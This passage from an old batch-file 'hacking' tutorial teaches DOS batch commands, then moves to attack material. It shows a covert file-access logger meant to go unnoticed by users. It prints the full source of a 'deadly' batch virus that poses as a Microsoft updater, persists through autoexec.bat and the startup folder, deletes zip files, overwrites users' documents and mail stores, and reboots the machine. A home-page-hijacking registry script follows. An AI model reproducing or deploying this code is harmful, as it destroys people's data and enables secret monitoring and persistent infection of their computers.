given after the DO keyword.(In this example the loop will ECHO %%A)



So basically when we execute the above batch file, the output will be:



abc

def

xyz



The FOR loop becomes very powerful if used along with replaceable parameters. Take

the following batch file, for example,



@ECHO OFF

ECHO.

ECHO I am going to delete the following files:

ECHO %1 %2

ECHO.

ECHO Press Ctrl+C to Abort process

PAUSE

FOR %%a IN (%1 %2 ) DO DEL %%a

ECHO Killed Files. Mission Accomplished.



At execution time, the process would be something like:





C:\WINDOWS>batchfilename *.tmp *.bak



I am going to delete the following files:

*.tmp *.bak



Press Ctrl+C to Abort process

Press any key to continue . . .



Killed Files. Mission Accomplished.

----------------------------------



IF: CONDITIONAL BRANCHING



The If statement is a very useful command which allows us to make the batch files more intelligent and useful. Using this command one can make the batch programs check the parameters and accordingly perform a task. Not only can the IF command check parameters, it can also checks if a particular file exists or not. On top of all this, it can also be used for the conventional checking of variables (strings).



Checking If a File Exists Or Not



The general syntax of the IF command which checks for the existence of a file is the following:



IF [NOT] EXIST FILENAME Command



This will become clearer when we take up the following example,



IF EXIST c:\autoexec.bat ECHO It exists



This command checks to see if the file, c:\autoexec.bat exists or not. If it does then it echoes or prints the string 'It exists'. On the other hand if the specified file does not exist, then it does not do anything.



In the above example, if the file autoexec.bat did not exist, then nothing was executed. We can also put in the else clause i.e. If the File exists, do this but if it does not exists, by using the GOTO command. Let's consider the following example to make it more clear:



@echo off

IF EXIST C:\ankit.doc GOTO ANKIT

Goto end

:ANKIT

ECHO ANKIT

:end



The IF statement in this code snippet checks to see if there exists a file, c:\ankit.doc. If it does then DOS is branched to :ANKIT and if it does not, then DOS goes on to the next line. The next line branches DOS to :end. The :end and :ANKIT in the above example are called labels. After the branching the respective echo statements take over.



******************

HACKING TRUTH: We can also check for more than one file at a time, in the following way:

IF EXIST c:\autoexec.bat IF EXIST c:\autoexec.bak ECHO Both Exist

******************



We can check to see if a file does not exist in the same way, the basic syntax now becomes:



IF NOT EXIST FILENAME Command



For Example,



IF NOT EXIST c:\ankit.doc ECHO It doesn't Exist



****************

HACKING TRUTH: How do you check for the existence of directories? No something like IF C:\windows EXISTS ECHO Yes does not work. In this case we need to make use of the NULL device. The NULL device is basically nothing, it actually stands for simply nothing. Each directory has the NULL device present in it. (At least DOS thinks so.) So to check if c:\windows exits, simply type:



IF EXIST c:\windows\nul ECHO c:\Windows exists.



One can also check if a drive is valid, by giving something like:



IF EXIST c:\io.sys ECHO Drive c: is valid.



****************



Comparing Strings to Validate Parameters



The basic syntax is:



IF [NOT] string1==string2 Command



Now let's make our scripts intelligent and make them perform a task according to what parameter was passed by the User. Take the following snippet of code for example,



@ECHO off

IF %1==cp GOTO COPY

GOTO DEL

:COPY

Copy %2 a:

GOTO :END

:DEL

Del %2

:END



This example too is pretty much self explanatory. The IF Statement compares the first parameter to cp, and if it matches then DOS is sent to read the COPY label else to the DEL label. This example makes use of two parameters and is called by passing at least two parameters.



We can edit the above example to make DOS check if a parameter was passed or not and if not then display an error message. Just add the following lines to the beginning of the above file.



@ECHO OFF

IF "%1" == "" ECHO Error Message Here



If no parameter is passed then the batch file displays an error message. Similarly we can also check for the existence of the second parameter.

This command too has the NOT clause.



The CHOICE Command



Before we learn how to make use of the CHOICE command, we need to what error levels really are. Now Error levels are generated by programs to inform about the way they finished or were forced to finish their execution. For example, when we end a program by pressing CTRL+C to end a program, the error level code evaluates to 3 and if the program closes normally, then the error level evaluates to 0. These numbers all by themselves are not useful but when used with the IF ERROR LEVEL and the CHIOCE command, they become very kewl.



The CHOICE command takes a letter or key from the keyboard and returns the error level evaluated when the key is pressed. The general syntax of the CHOICE command is:



CHOICE[string][/C:keys][/S][/N][/T:key,secs]



The string part is nothing but the string to be displayed when the CHOICE command is run.



The /C:keys defines the possible keys to be pressed. If options are mentioned then the default Y/N keys are used instead.

For example, The command,



CHOICE /C:A1T0



Defines A, 1, T and O as the possible keys. During execution if the user presses a undefined key, he will hear a beep sound and the program will continue as coded.



The /S flag makes the possible keys defined by the CHOICE /c flag case sensitive. So it means that if the /S flag is present then A and a would be different.



The /N flag, if present shows the possible keys in brackets when the program is executed. If the /N flag is missing then, the possible keys are not shown in brackets. Only the value contained by STRING is shown.



/T:key,secs defines the key which is taken as the default after a certain amount of time has passed.

For Example,



CHOICE Choose Browser /C:NI /T:I.5



The above command displays Choose Browser[N,I] and if no key is pressed for the next 5 seconds, then it chooses I.



Now to truly combine the CHOICE command with the IF ERROR LEVEL command, you need to know what the CHOICE command returns.



The CHOICE command is designed to return an error level according to the pressed key and its position in the /C flag. To understand this better, consider the following example,



CHOICE /C:AN12



Now remember that the error level code value depends on the key pressed. This means that if the key A is pressed, then the error level is 1, if the key N is pressed then the error level is 2, if 1 is pressed then error level is 3 and if 2 is pressed then error level is 4.



Now let us see how the IF ERROR LEVEL command works. The general syntax of this command is:



IF [NOT] ERRORLEVEL number command.



This statement evaluates the current error level number. If the condition is true then the command is executed. For Example,



IF ERRORLEVEL 3 ECHO Yes



The above statement prints Yes on the screen if the current error level is 3.

The important thing to note in this statement is that the evaluation of an error level is true when the error level us equal or higher than the number compared.

For Example, in the following statement,



IF ERRORLEVEL 2 ECHO YES



The condition is true if the error level is > or = 2.



Now that you know how to use the CHOICE and ERROR LEVEL IF command together, you can now easily create menu based programs. The following is an example of such a batch file which asks the User what browser to launch.





@ECHO OFF

ECHO.

ECHO.

ECHO Welcome to Browser Selection Program

ECHO.

ECHO 1. Internet Explorer 5.5

ECHO 2. Mozilla 5

ECHO x. Exit Browser Selection Program

ECHO.

CHOICE "Choose Browser" /C:12x /N

IF ERRORLEVEL 3 GOTO END

IF ERRORLEVEL 2 START C:\progra~1\Netscape

IF ERRORLEVEL 1 start c:\progra~1\intern~1\iexplore.exe

:END



NOTE: Observe the order in which we give the IF statements.



Redirection



Normally the Output is sent to the screen(The standard STDOUT)and the Input is read from the

Keyboard(The standard STDIN). This can be pretty boring. You can actually redirect both the Input and the

Output to something other than the standard I/O devices.



To send the Output to somewhere other than the screen we use the Output Redirection Operator, > which is

most commonly used to capture results of a command in a text file. Say you want to read the help on how to

use the net command, typing the usual Help command is not useful as the results do not fit in one screen

and scroll by extremely quickly. So instead we use the Output Redirection operator to capture the results of

the command in a text file.



c:\windows>net > xyz.txt



This command will execute the net command and will store the results in the text file, xyz.txt . Whenever

DOS comes by such a command, it checks if the specified file exists or not. If it does, then everything in the

file is erased or lost and the results are stored in it. If no such file exists, then DOS creates a new file and

stores the results in this new file.



Say, you want to store the results of more than one command in the same text file, and want to ensure that

the results of no command are lost, then you make use of the Double Output Re Direction Symbol, which is

the >> symbol.

For Example,



c:\windows> net >> xyz.txt



The above command tells DOS to execute the net command and append the output to the xyz.txt file, if it

exits.



DOS not only allows redirection to Files, but also allows redirection to various devices.



DEVICE NAME USED DEVICE



AUX Auxiliary Device (COM1)

CLOCK$ Real Time Clock

COMn Serial Port(COM1, COM2, COM3, COM4)

CON Console(Keyboard, Screen)

LPTn Parallel Port(LPT1, LPT2, LPT3)

NUL NUL Device(means Nothing)

PRN Printer



Say for example, you want to print the results of directory listings, then you can simply give the following

command:



c:\windows>dir *.* > prn



The NUL device(nothing) is a bit difficult to understand and requires special mention. This device which is

also known as the 'bit bucket' literally means nothing. Redirection to the NUL device practically has no usage

but can be used to suppress the messages which DOS displays on the completion of a task. For example,

when DOS has successfully copied a particular file, then it displays the message: '1 file(s) copied.'

Now say you want to suppress this task completion message, then you can make use of the NUL device.



c:\windows>copy file.txt > NUL



This will suppress the task completion message and not display it.



Redirecting Input



Just like we can redirect Output, we can also redirect Input. It is handled by the Input Redirection Operator,

which is the < symbol. It is most commonly used to send the contents of a text file to DOS. The other common

usage of this feature is the MORE command which displays a file one screen at a time unlike the TYPE

command which on execution displays the entire file.(This becomes impossible to read as the file scrolls by

at incredible speed.)Thus, many people send the long text file to the MORE command by using the

command:



c:\windows>more < xyz.txt



This command sends the contents of the xyz.txt file to the MORE command which displays the contents

page by page. Once the first page is read the MORE command displays something like the following on the

screen:



......MORE......



You can also send key strokes to any DOS command which waits for User Input or needs User intervention to perform a task. You can also send multiple keystrokes. For example, a typical Format

command requires 4 inputs, firstly pressing Enter to give the command, then Disk Insertion prompt, then the

VOLUME label prompt and lastly the one to format another disk. So basically there are three User inputs-:

ENTER, ENTER N and ENTER.(ENTER is Carriage return)So you can include this in a Batch file and give

the format command in the following format:



c:\windows>format a: < xyz.bat



PIPING



Piping is a feature which combines both Input and Output Redirection. It uses the Pipe operator, which is the

| symbol. This command captures the Output of one command and sends it as the Input of the other

command. Say for example, when you give the command del *.* then you need to confirm that you mean to

delete all files by pressing y. Instead we can simply do the same without any User Interaction by giving the

command:



c:\windows> echo y | del *.*



This command is pretty self explanatory, y is sent to the command del *.*

Batch File Programming can be very easy and quite useful. The only thing that one needs to be able to become a Batch File Programming nerd, is adequate knowledge of DOS commands. I suggest you surf the net or get a book on DOS commands and really lick the pages off the book, only then can you become an expert.





Making your own Syslog Daemon



We can easily combine the power of batch file programs and the customizable Windows Interface to make

our own small but efficient System Logging Daemon.

Basically this Syslog Daemon can keep a track of the files opened(any kind of files), the time at which the

files were opened also actually post the log of the User's activities on to the web, so that the System

Administrator can keep a eye on things.



Simply follow the following steps to make the daemon-:



NOTE: In the following example, I am making a syslog daemon which keeps an eye on what text files were

opened by the User. You can easily change what files you want it to keep an eye on by simply following the

same steps.





1. ASSOCIATING THE FILES TO BE MONITORED TO THE LOGGER



Actually this step is not the first, but being the easiest, I have mentioned it earlier. The first thing to do is to

associate the text files(*.txt) files to our batch file which contains the code to log the User's activities. You can

of course keep an eye on other files as well, the procedure is almost similar. Anyway, we associate .txt files

to our batch program so that each time a .txt file is opened, the batch file is also executed. To do this, we

need to change the File Associations of .txt files.

For more information on Changing File Associations, refer to the Windows Help Files, simply type

Associations and search. Anyway to change the associations of .txt files and to point them to our batch

file, simply do the below:



Locate any .txt file on your system, select it(click once) and Press the SHIFT key. Keeping the SHIFT key

pressed, right click on the .txt file to bring up the OPEN WITH... option. Clicking on the OPEN WITH... option

will bring up OPEN WITH dialog box. Now click on the OTHER button and locate the batch file program

which contains the logging code and click on OPEN and OK.

Now each time a .txt file is opened, the batch file is also executed, hence logging all interactions of the User

with .txt files.



2. Creating the Log File



Now you need to create a text file, which actually will act like a log file and will log the activities of the User.

This log file will contain the filename and the time at which the .txt file was opened. Create a new blank text

file in the same directory as the batch file. Now change the attributes of this log file and make it hidden by

changing it's attributes by issuing the ATTRIB command.



C:\windows>attrib xyz.txt +h



This will ensure that a lamer will not know as to where the log file is located.



3. CODING THE LOGGING BATCH FILE



The coding of the actual batch file which will log the User's activities and post it on the web is quite simple. If

you have read this tutorial properly till now, then you would easily be able to understand it, although I still

have inserted comments for novices.



echo %1 >> xyz.txt /* Send the file name of the file opened to the log file, xyz.txt */

notepad %1 /* Launch Notepad so that the lamer does not know something is wrong. */



This logging file will only log the filename of the text file which was opened by the unsuspecting lamer, say

you want to also log the time at which a particular file was opened, then you simply make use of the 'time'

command. The only thing that one needs to keep in mind is that after giving the TIME command , we need

to press enter too, which in turn has to entered in the batch file too.



Say you, who are the system administrator does not have physical access or have gone on a business trip,

but have access to the net and need to keep in touch with the server log file, then you easily link the log file

to a HTML file and easily view it on the click of a button. You could also make this part of the site password

protected or even better form a public security watch contest where the person who spots something fishy

wins a prize or something, anyway the linking can easily be done by creating an .htm or. html file and

inserting the following snippet of code:





Server Logs






4. Enhancing the logging Batch file to escape the eyes of the Lamer.



To enhance the functioning of our logging daemon, we need to first know it's normal functioning.

Normally, if you have followed the above steps properly, then each time a .txt file is opened, the batch file

is launched(in a new window, which is maximized) and which in turn launches Notepad. Once the filename

and time have been logged, the batch file Window does not close automatically and the User has to exit

from the Window manually. So maybe someone even remotely intelligent will suspect something fishy. We

can configure our batch file to work minimized and to close itself after the logging process has been

completed. To do this simply follow the following steps-:



a) Right Click on the Batch File.

b) Click on properties from the Pop up menu.

c) In the Program tab click on the Close on Exit option.

d) Under the same tab, under the RUN Input box select Minimized.

e) Click on Apply and voila the batch file is now more intelligent



This was just an example of a simple batch file program. You can easily create a more intelligent and more useful program using batch code.



MAKING YOUR OWN DEADLY BATCH FILE VIRUS: The atimaN_8 Batch File Virus



DISCLAIMER: This Virus was created by Ankit Fadia ankit@bol.net.in and is meant for educational purposes only. This Virus was coded to make people understand the basic concept of the Working of a Virus. Execute this Batch File at your own Risk. Any Damage caused by this file is not Ankit Fadia's fault. If you want any information regarding this Virus, do please feel free to contact me at: ankit@bol.net.in also visit my site at: http://www.crosswinds.net/~hackingtruths



The following is a simple but somewhat deadly (but quite lame)Batch File Virus that I created. I have named it, atimaN_8 I have used no advanced Batch or DOS commands in this virus and am sure that almost all you will have no problem understanding the code, If you still have trouble understanding the code, do mail me at ankit@bol.net.in



@ECHO OFF

CLS

IF EXIST c:\winupdt.bat GOTO CODE

GOTO SETUP

:SETUP

@ECHO OFF

ECHO Welcome To Microsoft Windows System Updater Setup

ECHO.

copy %0 c:\winupdt.bat >> NUL

ECHO Scanning System.....Please Wait

prompt $P$SWindows2000

type %0 >> c:\autoexec.bat

type %0 >> c:\windows\dosstart.bat

ECHO DONE.

ECHO.

ECHO Installing Components....Please Wait

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL

ECHO DONE.

ECHO.

ECHO You Now Need to Register with Microsoft's Partner: Fortune Galaxy to receive automatic updates.

PAUSE

ECHO Downloading Components...Please Wait

START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx"

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab"

ECHO Setup Will Now restart Your Computer....Please Wait

ECHO Your System is not faster by almost 40%.

ECHO Thank you for using a Microsoft Partner's product.

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL

c:\WINDOWS\RUNDLL user.exe,exitwindowsexec

CLS

GOTO END





:CODE

CLS

@ECHO OFF

prompt $P$SWindows2000

IF "%0" == "C:\AUTOEXEC.BAT" GOTO ABC

type %0 >> c:\autoexec.bat

:ABC

type %0 >> c:\windows\dosstart.bat

FOR %%a IN (*.zip) DO del %%a

FOR %%a IN (C:\mydocu~1\*.txt) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.xls) DO COPY c:\winupdt.bat %%a >> NUL

FOR %%a IN (C:\mydocu~1\*.doc) DO COPY c:\winupdt.bat %%a >> NUL

START "C:\Program Files\Internet Explorer\Iexplore.exe" http://www.crosswinds.net/~hackingtruths

IF EXIST "C:\Program Files\Outlook Express\msimn.exe" del "C:\WINDOWS\Application Data\Identities\{161C80E0-1B99-11D4-9077-FD90FD02053A}\Microsoft\Outlook Express\*.dbx" >> NUL

IF EXIST "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" del "C:\WINDOWS\Application Data\Microsoft\Address Book\ankit.wab" >> NUL

copy %0 "C:\WINDOWS\Start Menu\Programs\StartUp\winupdt.bat" >> NUL

GOTO :END

CLS

:END

CLS



This was an example of a pretty lame batch file virus. We can similarly create a virus which will edit the registry and create havoc. This is just a thought, I am not responsible for what you do with this.



There is simply no direct way of editing the Windows Registry through a batch file. Although there are Windows Registry Command line options(Check them out in the Advanced Windows Hacking Chapter, they are not as useful as adding keys or editing keys, can be. The best option we have is to create a .reg file and then execute it through a batch file. The most important thing to remember hear is the format of a .reg file and the fact that the first line of all .reg files should contain nothing but the string REGEDIT4, else Windows wil not be able to recognize it as a registry file. The following is a simple example of a batch file which changes the home page of the User (If Internet Explorer is installed)

to http://hackingtruths.tripod.com



@ECHO OFF

ECHO REGEDIT4 >ankit.reg

ECHO [HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main] >> ankit.reg

ECHO "Start Page"="http://hackingtruths.tripod.com" >> ankit.reg

START ankit.reg



Creating a .reg file is not as easy as it seems. You see, for Windows to recognize a file as a Registry file and for Windows to add the contents of the .reg file to the registry, it has to be in a particular recognizable format, else an error message would be displayed. I would not want to repeat, the entire Windows Registry File format here, as the Advanced Windows Hacking Manual has a huge section, specially dedicated to the Windows Registry.



Protection from Batch File Viruses



If you double-click a batch file (.bat files) it will run automatically. This can be dangerous as batch files can contain harmful commands sometimes. Worst still, if you use the single-click option, one wrong click and it's goodbye Windows. Now most power users would like to set edit as the default action. To best way to do that is to go to Explorer's Folder Options' File View tab to change the modify the default action. However, to add insult to injury, when you arrive there, you will find that the Edit and Set Default buttons has been grayed out. This is a "feature" from Microsoft you might not appreciate.

To conquer our problem here, flare up your registry editor and go to HKEY_CLASSES_ROOT\batfile\shell\open Rename the open key to run, thus becoming HKEY_CLASSES_ROOT\batfile\shell\run. Double-click the EditFlags binary value in HKEY_CLASSES_ROOT\batfile and enter 00 00 00 00 as the new value. Now, open Explorer, click Folder Options from the View menu and select the File Types tab, scroll down to the "MS-DOS Batch File" item, highlight it and click Edit. You'll notice that the last three buttons (Edit, Remove and Set Default) are now enabled and that you can select Edit as the default action.





Ankit Fadia

ankit@bol.net.in



Get the Archive of Manuals [EVERYTHING YOU DREAMT OFF] written by Ankit Fadia

At his mailing list.

To get the manuals in your Inbox join his mailing list by sending an email to:

programmingforhackers-subscribe@egroups.com